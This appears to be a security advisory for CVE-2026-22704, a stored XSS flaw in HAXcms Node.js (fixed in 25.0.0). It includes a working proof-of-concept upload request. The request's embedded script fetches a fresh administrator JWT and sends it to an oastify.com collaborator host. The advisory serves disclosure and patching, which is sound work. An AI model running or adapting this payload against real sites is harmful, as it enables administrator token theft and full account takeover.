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high8.0Public exploit code

CVE-2026-22704

HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover

Public exploit code

Working exploit or proof of concept code has been published for this vulnerability. Treat unpatched systems as at risk.

Impact

### Summary Stored XSS Leading to Account Takeover ### Details The Exploit Chain: 1.Upload: The attacker uploads an `.html` file containing a JavaScript payload. 2.Execution: A logged-in administrator is tricked into visiting the URL of this uploaded file. 3.Token Refresh: The JavaScript payload makes a `fetch` request to the `/system/api/refreshAccessToken` endpoint. Because the administrator is logged in, their browser automatically attaches the `haxcms_refresh_token` cookie to this request. 4.JWT Theft: The server validates the refresh token and responds with a new, valid JWT access token in the JSON response. 5.Exfiltration: The JavaScript captures this new JWT from the response and sends it to an attacker-controlled server. 6.Account Takeover: The attacker now possesses a valid administrator JWT and can take full control of the application. Vulnerability recurrence: <img width="1198" height="756" alt="image" src="https://github.com/user-attachments/assets/7062d542-702e-4cbe-8493-da0f71e790c3" /> Then we test access to this html <img width="1433" height="1019" alt="image" src="https://github.com/user-attachments/assets/6c72c92f-a151-4b0e-b6ba-d83ffb771253" /> You can obtain other people's identity information <img width="1082" height="290" alt="image" src="https://github.com/user-attachments/assets/23398ea4-f08c-47bd-b2f1-89071af0e275" /> ### PoC POST /system/api/saveFile?siteName=yu&site_token=neWmRyvNbCCwiQ7MP2ojAjVMk-HtjlKYNOqsQjLt3RQ&jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IlVqUzd6NFRFano1Q2xUMERiNnU0RmFROWJZSXgyMjd5OHN2NzRWb1hLbFkiLCJpYXQiOjE3NTUyNDYxODYsImV4cCI6MTc1NTI0NzA4NiwidXNlciI6ImFkbWluIn0.XrXr427aKbyw97aDjD2OX128DznGtw_CHMALAeodb0M HTTP/1.1 Host: 192.168.1.72:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Connection: close Content-Length: 1128 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="bulk-import" true ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file-upload"; filename="files/pwn1116.html" Content-Type: text/plain <script> // This version adds headers to make the request look more legitimate. fetch('/system/api/refreshAccessToken', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' // Sending an empty JSON object body }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); }) .then(data => { var stolenJWT = data.jwt; var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?jwt=' + stolenJWT; fetch(attackerUrl); }) .catch(error => { var attackerUrl = 'https://zqtqii0n7ptm168btd4htrntrkxbl29r.oastify.com/log?error=' + error.message; fetch(attackerUrl); }); </script> <h1>Processing your request...</h1> ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ### Impact The attacker now possesses a valid administrator JWT and can take full control of the application.

Affected packages

EcosystemPackageAffectedFixed in
npm@haxtheweb/haxcms-nodejs>= 11.0.6, < 25.0.025.0.0

Affected products

VendorProductAffected versions
PsuHaxcms-Nodejs
Version 11.0.6

Weakness classification

CWE-79

References